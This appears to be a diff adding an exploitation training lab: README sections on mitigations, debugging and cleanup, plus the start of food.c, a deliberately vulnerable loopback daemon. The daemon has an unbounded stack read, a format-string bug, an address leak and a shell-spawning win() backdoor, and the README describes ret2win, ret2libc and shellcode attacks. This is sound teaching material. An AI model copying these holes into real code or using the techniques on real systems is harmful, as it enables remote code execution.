| **NX / W^X** | `-z noexecstack` (the default) | Shellcode. The payload's own instructions cannot be fetched | ret2win and ret2libc entirely. These are the *reason* ROP exists |
|
||||||
|
| **PIE + ASLR** | `-fPIE` + ASLR=2 (both default) | ret2win's hardcoded addresses. Everything moves each run | Anything where the attacker has a leak. ASLR raises the cost of an exploit; it is not a fix. Note that stack, heap and mmap are randomised but the main binary's *contents* are not — that is what ROP chains use |
|
||||||
|
| **Don't leak** | don't `printf("%p")` to clients; initialise before printing | The information leak that turns ASLR from "expensive" into "free" | — |
|
||||||
|
| **Don't use `printf(user_data)`** | `printf("%s", buf)` instead of `printf(buf)` | Format-string bugs: `%x` stack reads, `%n` arbitrary writes, which is a *second* way to get RCE | — |
|
||||||
|
| **Don't use untrusted paths** | validate and `openat()` under a fixed dir | Path traversal (CWE-22) | — |
|
||||||
|
| **CET / shadow stack** | `-fcf-protection=full`, kernel + CPU support | The `ret` itself: the shadow stack remembers the *real* return address and faults on a mismatch. Catches ROP chains that use hardware `ret` | Attacks that never `ret` (call-oriented, or overwriting a function pointer's target with a gadget chain that does not need a return) |
|
||||||
|
| **Safe languages** | Rust, Go, C# for new code | The whole class. Bounds checks are checked at runtime, not hoped for at review time | — |
|
||||||
|
|
||||||
|
### Seeing it for yourself
|
||||||
|
|
||||||
|
```sh
|
||||||
|
make run # vulnerable daemon
|
||||||
|
make test # all three techniques work
|
||||||
|
|
||||||
|
make test-hardened # same source, mitigations on
|
||||||
|
```
|
||||||
|
|
||||||
|
`test-hardened` builds `food_hardened` with `-fstack-protector-strong -fPIE
|
||||||
|
-pie -z noexecstack`, swaps it in, re-runs all three, then puts the vulnerable
|
||||||
|
one back. You will see:
|
||||||
|
|
||||||
|
```
|
||||||
|
### stack segment: 'rw-p' (NOT executable) is what you want to see
|
||||||
|
--- ret2win was stopped by the mitigations (as expected)
|
||||||
|
--- ret2libc was stopped by the mitigations (as expected)
|
||||||
|
--- shellcode was stopped by the mitigations (as expected)
|
||||||
|
```
|
||||||
|
|
||||||
|
And in the hardened daemon's log, the canary firing:
|
||||||
|
|
||||||
|
```
|
||||||
|
*** stack smashing detected ***: terminated
|
||||||
|
```
|
||||||
|
|
||||||
|
Read that carefully, because it is the most important line in the whole lab:
|
||||||
|
**the canary caught ret2win, not PIE.** All three techniques die at the canary,
|
||||||
|
because all three go through the same `read()` and smash the same frame. NX only
|
||||||
|
separately stops shellcode's *code*; PIE only separately breaks the hardcoded
|
||||||
|
address. Turn them on individually and you will find that most single
|
||||||
|
mitigations leave you exposed to something.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Files
|
||||||
|
|
||||||
|
| File | Purpose |
|
||||||
|
|---|---|
|
||||||
|
| `food.c` | the vulnerable daemon. 6 numbered bugs, each with its fix in the comment |
|
||||||
|
| `fooc.c` | the exploit. objdump-based offset discovery, `/proc`-based libc discovery, 4 payload builders |
|
||||||
|
| `shellcode.S` | the 23 shellcode bytes as assembly, so they can be read and verified. `fooc` carries them inline and does not need this at runtime |
|
||||||
|
| `Makefile` | builds, tests, and the hardened comparison |
|
||||||
|
| `tests/pty_test.c` | drives `fooc` through a pseudo-terminal and checks for real shell output |
|
||||||
|
| `tests/sock_test.c` | independent verifier over a raw socket, so the result does not depend on `fooc` |
|
||||||
|
| `food.log` | the daemon's log. Your evidence of what happened |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Two bugs in this lab worth understanding
|
||||||
|
|
||||||
|
These are not the target's bugs. They are bugs in the exploit and its test
|
||||||
|
harness, and both produced convincing lies. They are documented in the source
|
||||||
|
where they live; here they are because the failure modes are instructive.
|
||||||
|
|
||||||
|
### Stack alignment: the crash that is not a NULL dereference
|
||||||
|
|
||||||
|
**Symptom.** The hijack lands correctly — `gdb` shows you sitting in `win()` —
|
||||||
|
and then the very first thing `win()` does, a `dprintf()`, dies. `SIGSEGV`
|
||||||
|
handler reports `RIP` deep inside glibc's formatter and a faulting address of
|
||||||
|
`(nil)`, which looks exactly like a corrupted pointer.
|
||||||
|
|
||||||
|
**Cause.** The System V AMD64 ABI requires 16-byte stack alignment. A normal
|
||||||
|
`ret` restores `%rsp` to precisely what the matching `call` saved, so the
|
||||||
|
invariant is preserved for free. Our bare `ret` does not: after it,
|
||||||
|
`%rsp = buf + rip_off`. Here `buf` is 16-byte aligned and `rip_off` is 88, so
|
||||||
|
the callee is handed a stack that is 8 mod 16. glibc is compiled with SSE2, and
|
||||||
|
`movaps` **faults** on a misaligned operand. On x86 that raises `#GP`, not
|
||||||
|
`#PF`, so the kernel has no faulting address and reports `si_addr = 0`. That
|
||||||
|
NULL is the tell: an alignment fault dressed up as a NULL dereference.
|
||||||
|
|
||||||
|
**Fix.** One `ret` gadget *at offset `rip_off`*, shifting the real target up
|
||||||
|
8 bytes, since each `ret` adds exactly 8 to `%rsp`. Ordering is critical: an
|
||||||
|
earlier version appended the `ret` *after* the target, producing
|
||||||
|
`[ padding | target | ret ]` where the trailing `ret` is never reached and the
|
||||||
|
fix silently does nothing. A stray `ret` that looks like a mistake is nearly
|
||||||
|
always deliberate.
|
||||||
|
|
||||||
|
### One socket, two readers: the byte that vanished
|
||||||
|
|
||||||
|
**Symptom.** Shellcode was reported working. Then the pty harness was made
|
||||||
|
stricter (turning off `ECHO`, so the terminal stopped echoing the harness's own
|
||||||
|
command line back at it) and the technique started failing. Underneath, every
|
||||||
|
technique was dropping exactly one byte from the head of each output chunk:
|
||||||
|
`uid=1000(hanez)` printed as `id=1000(hanez)`, `PWNED-OK` as `WNED-OK`,
|
||||||
|
`Linux 7.2.7` as `inux 7.2.7`.
|
||||||
|
|
||||||
|
**Cause.** `fooc` used to `dup2()` the socket onto its own stdin/stdout and
|
||||||
|
`execv()` a *local* `/bin/sh`, while a forked relay child also read that same
|
||||||
|
socket to move output to the terminal. The kernel does not care that the two
|
||||||
|
are cooperating. A stream socket has **one** read cursor, and every reader
|
||||||
|
moves it, so bytes split unpredictably between them. The local shell, being an
|
||||||
|
interactive login shell, read exactly one byte and discarded it — every single
|
||||||
|
time. `strace -f` showed it immediately:
|
||||||
|
|
||||||
|
```
|
||||||
|
read(0, "u", 1) <- the local shell, eating a byte
|
||||||
|
read(4, "id=1000(hanez) gid=1000(hanez) g".., 310) <- the relay, 1 byte short
|
||||||
|
```
|
||||||
|
|
||||||
|
**Fix.** There is no shell on this side at all. There is exactly one shell in
|
||||||
|
the whole picture and it is on the victim, inside the hijacked process, with the
|
||||||
|
TCP connection as its stdin/stdout. This side only moves bytes. If you ever need
|
||||||
|
two consumers of a stream, that stream needs a single reader that deliberately
|
||||||
|
demultiplexes it.
|
||||||
|
|
||||||
|
**The meta-lesson.** The first "working" result was a false positive produced by
|
||||||
|
the pty echoing the harness's own command line back at it, and the fix for that
|
||||||
|
false positive is what exposed the real bug. Tests that cannot fail are worse
|
||||||
|
than no tests, because they convert "I do not know" into "it works." A test
|
||||||
|
harness deserves the same suspicion as the code it is testing.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Hacking on it
|
||||||
|
|
||||||
|
Things worth trying, roughly in order of how much you will learn:
|
||||||
|
|
||||||
|
1. **Change `FOOD_BUFSZ` to 128.** Run `fooc` again. It should still work with no
|
||||||
|
edits, because it reads the offset out of the disassembly. Then break it by
|
||||||
|
hand — hardcode 88 — and watch it crash. Then add a second array between
|
||||||
|
`buf` and the saved registers and watch the automatic detection handle it.
|
||||||
|
|
||||||
|
2. **Add `-Wformat-security` and look at what the format-string path does.**
|
||||||
|
Send `%p %p %p %n` and watch `food` leak the stack.
|
||||||
|
|
||||||
|
3. **Use gdb.** `make debug`, then:
|
||||||
|
```gdb
|
||||||
|
(gdb) break food.c:393 # the read() that overflows
|
||||||
|
(gdb) run -p 2342
|
||||||
|
(gdb) info registers rsp rbp
|
||||||
|
(gdb) x/24gx $rsp # note where the return address is
|
||||||
|
(gdb) c # in another terminal: ./fooc -t ret2win
|
||||||
|
```
|
||||||
|
The `SIGSEGV` handler logs `REG_RIP` and `REG_RSP`, so `food.log` tells you
|
||||||
|
whether the hijack landed even when the child dies before you can attach.
|
||||||
|
|
||||||
|
4. **Delete the alignment fix** in `fooc.c` and watch the `#GP` fault with the
|
||||||
|
`si_addr = 0` signature. Then read `/proc/sys/kernel/randomize_va_space` and
|
||||||
|
think about what ASLR does and does not randomise.
|
||||||
|
|
||||||
|
5. **Break libc symbol resolution** and watch `fooc` adapt. The whole point of
|
||||||
|
the `/proc/self/maps` approach is that no offset is hardcoded.
|
||||||
|
|
||||||
|
6. **Write a fourth technique.** A `ret2csu`-style chain if you can find
|
||||||
|
`__libc_csu_init`, or a SROP chain (`sigreturn` frames let you control every
|
||||||
|
register at once). Both are pure ROP and need no executable memory.
|
||||||
|
|
||||||
|
7. **Fix `food.c` properly**, one bug at a time, and re-run the exploit after
|
||||||
|
each fix. The order in the table at the top of `food.c` is roughly the right
|
||||||
|
order to think about them: bound the read first, because nothing else matters
|
||||||
|
until the bug is gone.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Cleanup
|
||||||
|
|
||||||
|
```sh
|
||||||
|
make stop # stops food
|
||||||
|
make clean # removes build products; leaves food.log alone
|
||||||
|
pkill -x sh # only if you have stray shells from a test that went sideways
|
||||||
|
```
|
||||||
|
|
||||||
|
Note `pkill -x food` matches the process **name** exactly. Do not use
|
||||||
|
`pkill -f ./food` — that pattern also matches the shell you typed it into, and
|
||||||
|
kills your own session. That is not a hypothetical; it happened while building
|
||||||
|
this.
|
||||||
853
food.c
Normal file
853
food.c
Normal file
|
|
@ -0,0 +1,853 @@
|
||||||
|
/*
|
||||||
|
* ============================================================================
|
||||||
|
* food.c -- "food": an INTENTIONALLY VULNERABLE network daemon
|
||||||
|
* ============================================================================
|
||||||
|
*
|
||||||
|
* PURPOSE
|
||||||
|
* -------
|
||||||
|
* This is a deliberately broken TCP daemon used as a *target* for the
|
||||||
|
* companion exploit `fooc`. It exists so you can learn, hands-on, what a
|
||||||
|
* stack buffer overflow actually is, how it is abused to get remote code
|
||||||
|
* execution (RCE), and -- most importantly -- how each of its bugs maps onto
|
||||||
|
* a concrete, well-known defence that a real program should use instead.
|
||||||
|
*
|
||||||
|
* NOTHING HERE IS SAFE. Every "vulnerability" in this file is a real,
|
||||||
|
* long-documented class of C bug:
|
||||||
|
*
|
||||||
|
* Bug #1 Unbounded read() into a fixed stack buffer .... CWE-120
|
||||||
|
* Bug #2 Unchecked format string from the network ..... CWE-134
|
||||||
|
* Bug #3 Use of attacker-controlled data as a path ... CWE-22
|
||||||
|
* Bug #4 Stack canary would have caught Bug #1 ......... CWE-121
|
||||||
|
* Bug #5 NX bit would have stopped shellcode ........... CWE-94
|
||||||
|
* Bug #6 PIE/ASLR would have randomised the targets .... CWE-829
|
||||||
|
*
|
||||||
|
* The comments next to each bug name the fix. That mapping is the entire
|
||||||
|
* point of the exercise.
|
||||||
|
*
|
||||||
|
* SAFETY RAILS (please keep them in place while you experiment)
|
||||||
|
* ------------------------------------------------------------
|
||||||
|
* * It binds to 127.0.0.1 (loopback) by default, so the deliberately
|
||||||
|
* exploitable service is NOT reachable from your network.
|
||||||
|
* * It runs in the foreground with a banner so you can watch it die.
|
||||||
|
* * Each connection is handled in a forked child, so one crash does not
|
||||||
|
* take the daemon down.
|
||||||
|
*
|
||||||
|
* Build: make food
|
||||||
|
*
|
||||||
|
* THE BUILD IS THE POINT, PART 1
|
||||||
|
* ------------------------------
|
||||||
|
* `make food` compiles this file with three flags that a sane project would
|
||||||
|
* never use, each switched off on purpose so the lab behaves the same way on
|
||||||
|
* every machine:
|
||||||
|
*
|
||||||
|
* -fno-stack-protector no stack canary
|
||||||
|
* -no-pie fixed load address, so win() is a constant
|
||||||
|
* -z execstack executable stack, so shellcode can run
|
||||||
|
*
|
||||||
|
* Drop any one of them and the corresponding technique stops working. That is
|
||||||
|
* not a flaw in the exploit; that is the defence being demonstrated. The
|
||||||
|
* Makefile's `make hardened` target builds the same source WITHOUT all three,
|
||||||
|
* and `make test-hardened` shows you which techniques it kills.
|
||||||
|
*
|
||||||
|
* Note that -z execstack is the reason `./fooc -t shellcode` works at all. A
|
||||||
|
* stock Linux stack is not executable (`rw-p` in /proc/PID/maps, and `RWE` in
|
||||||
|
* the ELF program headers only when this flag is present), and the shellcode
|
||||||
|
* technique dies with SIGSEGV at RIP = the address of the payload. Everything
|
||||||
|
* in README.md's mitigation table explains why that flag matters to you.
|
||||||
|
*
|
||||||
|
* Usage: ./food [-h HOST] [-p PORT] [-d]
|
||||||
|
* ============================================================================
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* Ask glibc for the extra declarations we need (dprintf, etc.). */
|
||||||
|
#define _GNU_SOURCE
|
||||||
|
|
||||||
|
#include <arpa/inet.h> /* inet_pton(), to turn "127.0.0.1" into bytes. */
|
||||||
|
#include <errno.h> /* errno and the strerror() family. */
|
||||||
|
#include <fcntl.h> /* dup2(), used to hand the socket to the shell. */
|
||||||
|
#include <netinet/in.h>/* struct sockaddr_in, htons(), the TCP address. */
|
||||||
|
#include <signal.h> /* signal(), SIGPIPE / SIGCHLD handling. */
|
||||||
|
#include <stdarg.h> /* va_list, needed by our own tiny printf wrapper. */
|
||||||
|
#include <stdint.h> /* uint16_t, the fixed-width type htons() returns. */
|
||||||
|
#include <stdio.h> /* printf, dprintf, fputs. */
|
||||||
|
#include <stdlib.h> /* exec*, _exit, atoi. */
|
||||||
|
#include <string.h> /* memset, strncpy, strlen, memchr. */
|
||||||
|
#include <sys/socket.h>/* socket(), bind(), listen(), accept(). */
|
||||||
|
#include <sys/stat.h> /* umask(). */
|
||||||
|
#include <sys/types.h> /* ssize_t, pid_t. */
|
||||||
|
#include <sys/ucontext.h>/* ucontext_t, REG_RIP: the saved CPU registers. */
|
||||||
|
#include <sys/wait.h> /* waitpid(), for reaping children. */
|
||||||
|
#include <unistd.h> /* read, write, close, dup2, getpid, fork, chdir,
|
||||||
|
* getopt -- the POSIX workhorses. */
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
/* Configuration constants */
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
/* Default TCP port. Not privileged (>1024), so no root is required. */
|
||||||
|
#define FOOD_PORT 2342
|
||||||
|
|
||||||
|
/* Loopback only, on purpose. Change with -h if you really know better. */
|
||||||
|
#define FOOD_HOST "127.0.0.1"
|
||||||
|
|
||||||
|
/* Size of the stack buffer in vulnerable_handler(). This is the value the
|
||||||
|
* exploit has to fill *plus* 8 bytes of saved frame pointer before it can
|
||||||
|
* reach the return address. Do not change it without re-running the exploit's
|
||||||
|
* automatic offset detection, which reads it from this binary. */
|
||||||
|
#define FOOD_BUFSZ 64
|
||||||
|
|
||||||
|
/* How many bytes the vulnerable read() is willing to accept. This is much
|
||||||
|
* larger than FOOD_BUFSZ on purpose -- that mismatch IS the vulnerability. */
|
||||||
|
#define FOOD_READMAX 512
|
||||||
|
|
||||||
|
/* Size of the (also broken) log line buffer used by the format-string demo. */
|
||||||
|
#define FOOD_LOGSZ 128
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
/* Tiny helpers */
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* g_logfd -- the descriptor logmsg() writes to.
|
||||||
|
*
|
||||||
|
* It begins life as a duplicate of the real stdout, taken *before*
|
||||||
|
* prepare_client_fds() replaces fd 1 with the client's socket. The point is
|
||||||
|
* that the server's log must never travel to the attacker.
|
||||||
|
*
|
||||||
|
* This is not cosmetic. If the daemon had kept logging to fd 1, then the
|
||||||
|
* moment a client connected, every log line -- including file paths, internal
|
||||||
|
* hostnames, and in a real system any credential that ever reached a log --
|
||||||
|
* would be delivered to whoever happened to be on the other end of the socket.
|
||||||
|
* Keeping diagnostics on a separate, trusted descriptor is a genuine security
|
||||||
|
* practice, and a lab about exploiting a daemon would be a poor place to
|
||||||
|
* accidentally teach the alternative.
|
||||||
|
*/
|
||||||
|
static int g_logfd = -1;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* logmsg() -- print one timestamped line to the log descriptor.
|
||||||
|
*
|
||||||
|
* (Deliberately NOT named `logf`: that collides with the libm builtin
|
||||||
|
* `float logf(float)`, and GCC warns about it. Naming your own helpers after
|
||||||
|
* standard library functions is a surprisingly common source of pain.)
|
||||||
|
*
|
||||||
|
* We use dprintf() rather than printf() because we need to write to a specific
|
||||||
|
* descriptor, and because it is close to atomic: one write() call means two
|
||||||
|
* forked children cannot interleave halfway through a line.
|
||||||
|
*/
|
||||||
|
static void logmsg(const char *fmt, ...)
|
||||||
|
{
|
||||||
|
char line[1024]; /* Compose the whole message in one buffer. */
|
||||||
|
va_list ap; /* The argument list of this variadic call. */
|
||||||
|
int n; /* Bytes composed. */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* va_start MUST be called before the va_list is used. It initialises `ap`
|
||||||
|
* to point just past `fmt` in the argument area. Passing an uninitialised
|
||||||
|
* va_list to vsnprintf makes it walk wild stack memory and crash -- which
|
||||||
|
* is exactly what happened the first time this function was written.
|
||||||
|
*
|
||||||
|
* va_end is mandatory once va_start has been called, even on error paths.
|
||||||
|
*/
|
||||||
|
va_start(ap, fmt);
|
||||||
|
|
||||||
|
/* Format the body first, into the tail of the buffer, leaving room for
|
||||||
|
* the "[food 1234] " prefix and the trailing newline. */
|
||||||
|
n = vsnprintf(line, sizeof(line) - 32, fmt, ap);
|
||||||
|
va_end(ap); /* Always pair va_start with va_end. */
|
||||||
|
if (n < 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
/* Prepend the pid. Knowing which forked child did what is what makes the
|
||||||
|
* per-connection log readable. */
|
||||||
|
if (g_logfd >= 0)
|
||||||
|
dprintf(g_logfd, "[food %d] %s\n", (int)getpid(), line);
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* read_exact() -- read exactly n bytes, looping until we have them all.
|
||||||
|
*
|
||||||
|
* This helper is *correct*. The bug in this program is not here.
|
||||||
|
*
|
||||||
|
* It is included deliberately, so you can compare it against vulnerable_handler()
|
||||||
|
* below. The difference between the two functions is, essentially, the whole
|
||||||
|
* lesson: this one asks for `n` bytes and checks it got them; the other asks
|
||||||
|
* for far more than its buffer can hold and never checks.
|
||||||
|
*
|
||||||
|
* Why it matters: read() on a socket is allowed to return a short count (it
|
||||||
|
* is a stream, not a message queue). A correct program must loop. The
|
||||||
|
* vulnerable function below deliberately does not do this correctly either.
|
||||||
|
*/
|
||||||
|
__attribute__((unused)) /* Referenced in comments only, so silence the
|
||||||
|
* -Wunused-function warning deliberately. */
|
||||||
|
static ssize_t read_exact(int fd, void *buf, size_t n)
|
||||||
|
{
|
||||||
|
size_t got = 0; /* Bytes received so far. */
|
||||||
|
while (got < n) { /* Keep going until the full request. */
|
||||||
|
ssize_t r = read(fd, (char *)buf + got, n - got);
|
||||||
|
if (r < 0) { /* r < 0 means an error occurred. */
|
||||||
|
if (errno == EINTR) /* Interrupted by a signal: just retry. */
|
||||||
|
continue;
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
if (r == 0) /* Peer closed the connection. */
|
||||||
|
break;
|
||||||
|
got += (size_t)r; /* Otherwise bank the bytes. */
|
||||||
|
}
|
||||||
|
return (ssize_t)got; /* Return total bytes actually read. */
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* write_all() -- write a whole buffer, looping over short writes.
|
||||||
|
* Also correct. Exists so the exploit's I/O is not the flaky part of the lab.
|
||||||
|
*/
|
||||||
|
static ssize_t write_all(int fd, const void *buf, size_t n)
|
||||||
|
{
|
||||||
|
size_t sent = 0;
|
||||||
|
while (sent < n) {
|
||||||
|
ssize_t w = write(fd, (const char *)buf + sent, n - sent);
|
||||||
|
if (w <= 0) {
|
||||||
|
if (w < 0 && errno == EINTR)
|
||||||
|
continue;
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
sent += (size_t)w;
|
||||||
|
}
|
||||||
|
return (ssize_t)sent;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
/* The ret2win target */
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* win() -- the "backdoor" function that ret2win aims at.
|
||||||
|
*
|
||||||
|
* A ret2win exploit works by overwriting the saved return address with the
|
||||||
|
* address of a function that (a) is already in the binary and (b) does
|
||||||
|
* something useful to the attacker. Here, that is "hand me a shell".
|
||||||
|
*
|
||||||
|
* The *presence* of win() is not itself the vulnerability -- shipping a hidden
|
||||||
|
* "debug backdoor" like this is a real and sadly common self-inflicted wound
|
||||||
|
* (it is exactly the CVE class "undocumented backdoor", e.g. the Juniper
|
||||||
|
* ScreenOS backdoors). But in this lab it exists purely as an easy, reliable
|
||||||
|
* first target so you can prove code execution before reaching for shellcode.
|
||||||
|
*
|
||||||
|
* noinline: the compiler must not inline this away, or the exploit would have
|
||||||
|
* no address to jump to.
|
||||||
|
* used: keeps the function alive even though we never call it in C.
|
||||||
|
*/
|
||||||
|
__attribute__((noinline, used))
|
||||||
|
static void win(void)
|
||||||
|
{
|
||||||
|
pid_t pid; /* Child's PID after the fork below. */
|
||||||
|
|
||||||
|
logmsg("win() reached -- executing /bin/sh");
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Note the signature: win() deliberately takes NO arguments, and that is
|
||||||
|
* the whole point rather than an oversight.
|
||||||
|
*
|
||||||
|
* A ret2win exploit overwrites only the saved *return address*. Every
|
||||||
|
* other register holds whatever the vulnerable function happened to leave
|
||||||
|
* behind, and the attacker has no control over any of them. An earlier
|
||||||
|
* revision of this function took an `int fd` parameter, and gdb showed the
|
||||||
|
* exploit apparently landing while actually passing garbage in rdi
|
||||||
|
* (-11073), which made every dup2() fail and the "shell" go nowhere.
|
||||||
|
* Depending on an incoming argument is the most common reason a
|
||||||
|
* ret2win-style exploit looks like it works and then silently does nothing.
|
||||||
|
*
|
||||||
|
* We do not need the argument: prepare_client_fds() has already made
|
||||||
|
* fds 0, 1 and 2 refer to the client's socket, so the shell can simply
|
||||||
|
* use the standard descriptors.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Fork before exec so the parent can reap the child and go away, while
|
||||||
|
* the child keeps talking to the client. Without this the daemon would
|
||||||
|
* stay busy until the shell exits.
|
||||||
|
*/
|
||||||
|
pid = fork();
|
||||||
|
if (pid < 0) {
|
||||||
|
logmsg("win(): fork() failed: %s", strerror(errno));
|
||||||
|
_exit(1);
|
||||||
|
}
|
||||||
|
if (pid > 0) { /* Parent: reap the child, then bail out. */
|
||||||
|
waitpid(pid, NULL, 0);
|
||||||
|
/*
|
||||||
|
* _exit, NOT return. Returning would execute `ret` a second time,
|
||||||
|
* popping the next 8 bytes of attacker payload as a new RIP and
|
||||||
|
* crashing immediately. Exiting is the only safe way out of a
|
||||||
|
* function that was entered by hijacking a return address.
|
||||||
|
*/
|
||||||
|
_exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Child. stdin/stdout/stderr already point at the socket (see
|
||||||
|
* prepare_client_fds), so there is nothing to rewire here.
|
||||||
|
*
|
||||||
|
* Dropping privileges is deliberately absent: in a real system this is
|
||||||
|
* exactly where you would setuid()/setgid() to an unprivileged user
|
||||||
|
* before exec. A backdoor that hands out a root shell is what turns an
|
||||||
|
* ordinary memory-safety bug into a full compromise.
|
||||||
|
*/
|
||||||
|
execl("/bin/sh", "sh", (char *)NULL); /* Does not return on success. */
|
||||||
|
_exit(127); /* Only if exec failed. */
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
/* The vulnerable handler -- Bug #1 and Bug #2 live here */
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* noinline: mandatory for a stack-overflow lab. If the compiler inlines this
|
||||||
|
* into its caller, the stack frame the exploit is aiming at changes
|
||||||
|
* and the whole exercise stops making sense.
|
||||||
|
* used: do not let the optimiser delete it.
|
||||||
|
*/
|
||||||
|
__attribute__((noinline, used))
|
||||||
|
static void vulnerable_handler(int fd)
|
||||||
|
{
|
||||||
|
char buf[FOOD_BUFSZ]; /* 64 bytes of stack. The whole ballgame. */
|
||||||
|
char line[FOOD_LOGSZ]; /* Second, larger buffer for the format bug. */
|
||||||
|
ssize_t n; /* Byte count returned by read(). */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* ------------------------------------------------------------------
|
||||||
|
* The buffer-address leak, done on purpose, inside this function.
|
||||||
|
* ------------------------------------------------------------------
|
||||||
|
* We hand the client the exact address of `buf` *before* it overflows
|
||||||
|
* anything. Without this the client is shooting blind at a randomised
|
||||||
|
* stack, and you would need either a lucky guess or a "ret sled"
|
||||||
|
* thousands of ret-instructions wide.
|
||||||
|
*
|
||||||
|
* Where do real-world leaks of this kind come from? All of these are
|
||||||
|
* genuine, frequently-seen CWE-200 / CWE-497 bugs:
|
||||||
|
*
|
||||||
|
* * a format string bug printing %p (our Bug #2 above does this),
|
||||||
|
* * returning or serialising a pointer that was never initialised
|
||||||
|
* (CWE-457, use of uninitialised variable -- a very common way to
|
||||||
|
* turn a mere crash into a full info leak),
|
||||||
|
* * a verbose crash handler or core dump served to the client,
|
||||||
|
* * a debug endpoint left enabled, or /proc/self/maps over HTTP,
|
||||||
|
* * a non-randomised fixed-address mmap(), or a non-PIE binary,
|
||||||
|
* which is precisely why the Makefile here builds with -no-pie.
|
||||||
|
*
|
||||||
|
* The real lesson: address-space layout randomisation is only a
|
||||||
|
* *speed bump*. It raises the cost of an exploit; it is not a fix. The
|
||||||
|
* fix is not having the memory corruption in the first place.
|
||||||
|
*
|
||||||
|
* FIX: do not disclose addresses to untrusted clients, and initialise
|
||||||
|
* every pointer before you might print it.
|
||||||
|
*/
|
||||||
|
dprintf(fd, "BUF=%p\n", (void *)buf);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* ====================================================================
|
||||||
|
* BUG #1 -- UNBOUNDED COPY INTO A FIXED STACK BUFFER (CWE-120)
|
||||||
|
* ====================================================================
|
||||||
|
*
|
||||||
|
* This single read() call is the entire exploit surface:
|
||||||
|
*
|
||||||
|
* we have FOOD_BUFSZ = 64 bytes of room
|
||||||
|
* we accept FOOD_READMAX = 512 bytes from the network
|
||||||
|
*
|
||||||
|
* The attacker therefore gets to write 448 bytes more than they should,
|
||||||
|
* and everything laid out on the stack above `buf` gets clobbered.
|
||||||
|
*
|
||||||
|
* In a compiled x86-64 function the stack grows *downwards*, so memory
|
||||||
|
* looks like this, with rbp pointing at the saved frame pointer:
|
||||||
|
*
|
||||||
|
* high addresses
|
||||||
|
* +------------------------+ <- rbp + 16 : caller locals
|
||||||
|
* | ... |
|
||||||
|
* +------------------------+ <- rbp + 8 : SAVED RETURN ADDRESS <-- RIP
|
||||||
|
* | saved rbp (8 bytes) |
|
||||||
|
* +------------------------+ <- rbp : our frame pointer
|
||||||
|
* | line[128] | (second buffer, padding)
|
||||||
|
* | buf[64] | <- rsp: what read() will fill
|
||||||
|
* +------------------------+
|
||||||
|
* low addresses
|
||||||
|
*
|
||||||
|
* So the attacker writes 64 bytes of junk to fill `buf`, another 8 bytes
|
||||||
|
* to fill the saved rbp, and the *next* 8 bytes become the return address
|
||||||
|
* that the `ret` instruction pops into RIP. From that moment the attacker
|
||||||
|
* decides where the CPU executes next.
|
||||||
|
*
|
||||||
|
* FIXES, in increasing order of strength:
|
||||||
|
* 1. Bound every read by the true size of the destination:
|
||||||
|
* n = read(fd, buf, sizeof(buf) - 1); <-- the real fix
|
||||||
|
* 2. Compile with -fstack-protector-strong so a *canary* sits between
|
||||||
|
* the buffers and the return address; `ret` then aborts first.
|
||||||
|
* 3. Compile with -fstack-protector-all (covers locals that a plain
|
||||||
|
* -O2 might have kept in registers).
|
||||||
|
* 4. Real root cause: do not use fixed-size stack arrays for input at
|
||||||
|
* all. Use heap allocation sized from a checked length, or a
|
||||||
|
* stdio-style bounded reader.
|
||||||
|
*
|
||||||
|
* NOTE: modern GCC detects *this exact shape* at compile time and warns
|
||||||
|
* ("writing 512 bytes into a region of size 64"). Never suppress that
|
||||||
|
* warning in real code -- it is free security.
|
||||||
|
*/
|
||||||
|
n = read(fd, buf, FOOD_READMAX); /* <-- CWE-120, THE bug. */
|
||||||
|
if (n <= 0)
|
||||||
|
return; /* Nothing to do. */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Echo back what we received, truncated to the buffer's real size so that
|
||||||
|
* *this* line is safe. It is here purely so you can watch the overflow
|
||||||
|
* happen live in the log. Truncating for display does NOT undo the
|
||||||
|
* overwrite that already happened above.
|
||||||
|
*/
|
||||||
|
{
|
||||||
|
ssize_t show = n < FOOD_BUFSZ ? n : FOOD_BUFSZ; /* clamp for log. */
|
||||||
|
logmsg("vulnerable_handler: read %zd bytes, echoing %zd", n, show);
|
||||||
|
(void)write_all(fd, buf, (size_t)show);
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* ====================================================================
|
||||||
|
* BUG #2 -- NETWORK DATA USED AS A FORMAT STRING (CWE-134)
|
||||||
|
* ====================================================================
|
||||||
|
*
|
||||||
|
* `buf` is fully attacker-controlled. Passing it to printf() as the
|
||||||
|
* *format* rather than as a %s *argument* lets the attacker supply their
|
||||||
|
* own conversion specifiers: %x to read stack words, %n to *write* to
|
||||||
|
* memory, %s to walk arbitrary pointers. A %n here is a write-what-where
|
||||||
|
* primitive, which is another way to build an exploit.
|
||||||
|
*
|
||||||
|
* FIX: never pass untrusted data as the format string. Use
|
||||||
|
